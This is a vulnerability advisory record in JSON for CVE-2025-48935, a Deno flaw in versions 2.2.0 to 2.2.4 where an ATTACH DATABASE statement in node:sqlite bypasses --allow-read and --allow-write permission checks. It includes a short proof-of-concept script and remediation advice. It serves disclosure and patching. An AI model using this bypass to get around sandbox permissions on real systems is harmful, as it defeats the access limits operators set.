{"id":"CVE-2025-48935","aliases":["RUSTSEC-2025-0138","GHSA-8vxj-4cph-c596"],"title":"--allow-read / --allow-write permission bypass in `node:sqlite`","summary":"--allow-read / --allow-write permission bypass in `node:sqlite`","severity":"none","vendor":"deno","product":"deno","ecosystem":"rust","affected":["deno >= 2.2.0, < 2.2.5"],"patched":["deno 2.2.5"],"published":"2025-06-03","updated":"2026-10-12","sourceUpdated":"2026-10-12T18:00:13.056658752Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/RUSTSEC-2025-0138","references":[{"url":"https://crates.io/crates/deno"},{"url":"https://rustsec.org/advisories/RUSTSEC-2025-0138.html"},{"url":"https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860"},{"url":"https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860"}],"tags":["osv","rust"],"epss":0.00468,"epssPercentile":0.38682,"ingestedAt":"2026-10-13T11:45:30.181Z","slug":"CVE-2025-48935","body":"## Overview\n\nIt is possible to bypass Deno's read/write permission\nchecks by using ATTACH DATABASE statement.\n\n## PoC\n\n```\n// poc.js\nimport { DatabaseSync } from \"node:sqlite\"\n\nconst db = new DatabaseSync(\":memory:\");\ndb.exec(\"ATTACH DATABASE 'test.db' as test;\");\n\ndb.exec(\"CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);\");\n```\n\n```\n$ deno poc.js\n```\n\n## Affected packages\n\n- `deno >= 2.2.0, < 2.2.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `deno 2.2.5`","depth":"sunlit","depthScore":3,"depthScoreParts":{"impact":2.8,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}